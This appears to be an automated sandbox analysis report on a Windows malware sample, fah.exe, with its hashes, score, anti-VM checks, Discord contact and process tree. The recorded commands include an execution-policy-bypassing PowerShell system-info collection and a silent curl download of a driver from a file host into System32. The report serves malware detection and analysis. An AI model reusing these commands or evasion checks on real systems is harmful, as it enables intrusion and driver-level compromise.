Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/07/2026, 02:00
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
fah.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
fah.exe
Resource
win11ltsc2024-20260629-en
windows11-ltsc_2024-x64
12 signatures
150 seconds
General
- Target fah.exe
- Size 1.1MB
- Sample260703-cfccyah14v
- SHA256 6b83616e1f27291f8cd9ca0b73b4f17f3630d25b8a191164fe02b4a501fd3715
- MD5 40b3f21ce2c1791bd2542df82fee9688
- SHA1 a0cf7ee41ac14cc99ec0bf9ac91184327c0f2805
- SHA512 696808d0ab08b2c1e9081c20fe2240ee14aae661679f0af8f37e467931c073a31528c275fc4f076ec89e1ace706a8a8e9b694a0e229ca3b465b752f9b249993d
- SSDEEP 6144:LYkeOoN8VqQ+cvok2Wz5BFfTDq3iLIAlutcu6obd/KGxbI68KTxELQJ9/j/Rnpw8:LX5tVqAvHB6xxEL2pvWUhpCOg8
- TLSH T1F94519C69C075BEDE6E2E73976663313F8673B690A28C73F24C41D62510A78052EB74E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
Malware Config
Signatures
- Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo fah.exe - Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ fah.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ fah.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ fah.exe - Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions fah.exe - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools fah.exe - Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion fah.exe - Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 4 discord.com 30 discord.com 2 discord.com - Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN fah.exe -
pid Process 2612 powershell.exe 3696 powershell.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName fah.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS fah.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer fah.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 2612 powershell.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 2612 powershell.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe 4224 fah.exe - Suspicious use of AdjustPrivilegeToken 44 IoCs
description pid Process Token: SeDebugPrivilege 2612 powershell.exe Token: SeIncreaseQuotaPrivilege 2612 powershell.exe Token: SeSecurityPrivilege 2612 powershell.exe Token: SeTakeOwnershipPrivilege 2612 powershell.exe Token: SeLoadDriverPrivilege 2612 powershell.exe Token: SeSystemProfilePrivilege 2612 powershell.exe Token: SeSystemtimePrivilege 2612 powershell.exe Token: SeProfSingleProcessPrivilege 2612 powershell.exe Token: SeIncBasePriorityPrivilege 2612 powershell.exe Token: SeCreatePagefilePrivilege 2612 powershell.exe Token: SeBackupPrivilege 2612 powershell.exe Token: SeRestorePrivilege 2612 powershell.exe Token: SeShutdownPrivilege 2612 powershell.exe Token: SeDebugPrivilege 2612 powershell.exe Token: SeSystemEnvironmentPrivilege 2612 powershell.exe Token: SeRemoteShutdownPrivilege 2612 powershell.exe Token: SeUndockPrivilege 2612 powershell.exe Token: SeManageVolumePrivilege 2612 powershell.exe Token: 33 2612 powershell.exe Token: 34 2612 powershell.exe Token: 35 2612 powershell.exe Token: 36 2612 powershell.exe Token: SeDebugPrivilege 3696 powershell.exe Token: SeIncreaseQuotaPrivilege 3696 powershell.exe Token: SeSecurityPrivilege 3696 powershell.exe Token: SeTakeOwnershipPrivilege 3696 powershell.exe Token: SeLoadDriverPrivilege 3696 powershell.exe Token: SeSystemProfilePrivilege 3696 powershell.exe Token: SeSystemtimePrivilege 3696 powershell.exe Token: SeProfSingleProcessPrivilege 3696 powershell.exe Token: SeIncBasePriorityPrivilege 3696 powershell.exe Token: SeCreatePagefilePrivilege 3696 powershell.exe Token: SeBackupPrivilege 3696 powershell.exe Token: SeRestorePrivilege 3696 powershell.exe Token: SeShutdownPrivilege 3696 powershell.exe Token: SeDebugPrivilege 3696 powershell.exe Token: SeSystemEnvironmentPrivilege 3696 powershell.exe Token: SeRemoteShutdownPrivilege 3696 powershell.exe Token: SeUndockPrivilege 3696 powershell.exe Token: SeManageVolumePrivilege 3696 powershell.exe Token: 33 3696 powershell.exe Token: 34 3696 powershell.exe Token: 35 3696 powershell.exe Token: 36 3696 powershell.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4224 wrote to memory of 2460 4224 fah.exe 86 PID 4224 wrote to memory of 3192 4224 fah.exe 90 PID 4224 wrote to memory of 1828 4224 fah.exe 91 PID 3192 wrote to memory of 2612 3192 cmd.exe 92 PID 1828 wrote to memory of 4792 1828 cmd.exe 93 PID 4224 wrote to memory of 3580 4224 fah.exe 97 PID 3580 wrote to memory of 3696 3580 cmd.exe 98
Processes
-
C:\Users\Admin\AppData\Local\Temp\fah.exe"C:\Users\Admin\AppData\Local\Temp\fah.exe"1⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks for VirtualBox DLLs, possible anti-VM trick
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4224 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵PID:2460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"2⤵
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2612
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\system32\curl.execurl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys3⤵PID:4792
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"2⤵
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3696
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
- MD5 3bfc414667e1ebc31e9259fa1db290fa
- SHA1 9bff989429779efef334e5524a362e7b6ff266cb
- SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
- TLSH T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 5239d9fd1c6057d9f5b7730a92a131f3f6c1aff4de61f3a16487ba2996d92802
- MD5 d943f8f33e0cc6f45ff8a440e2d35673
- SHA1 7f74d84a2fe86e509813c17a629931e1b4443fb9
- SHA512 9be0083b83eb3ba110ebc7a18396c5cd59c59e77973c902ba3e59094d9ec86e3e809fe840799ca4e02a1c8ce28f052e4c41fc333327dbf5549d619346f3da1ae
- TLSH T196218727B39CC921CC99153A209CAC1172B683C7809ECF8F6FC0D224A07FAC4CB71594
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b1n05ec5.nxx.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH